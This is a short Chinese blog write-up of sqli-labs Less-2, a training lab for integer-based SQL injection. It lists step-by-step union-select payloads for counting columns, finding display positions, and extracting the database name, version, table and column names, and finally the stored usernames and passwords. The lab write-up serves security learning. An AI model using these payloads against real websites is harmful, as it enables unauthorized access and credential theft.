第二关-Less-2:

第二关-Less-2:

GET - Error based - Intiger based (基于错误的GET整型注入):

先判断是否存在sql注入漏洞

页面回显返回错误,说明存在sql注入

再判断它的注入点

通过回显可知是数字型注入,然后现在将第一关的sql注入语句改为数字型,就可以注入成功

//判断字段:
?id=1 order by 1 -- +
?id=1 order by 2 -- +
?id=1 order by 3 -- +
?id=1 order by 4 -- +

//爆显示位:
?id=100 union select 1,2,3 --+
?id=-1 union select 1,2,3 --+

//爆数据库名和版本号:
?id=-1 union select 1,database(),version() --+

//爆表名:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

//爆列名:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

//爆出列名对应的数据:
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

得到用户名和密码

posted @   张伟文  阅读(169)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示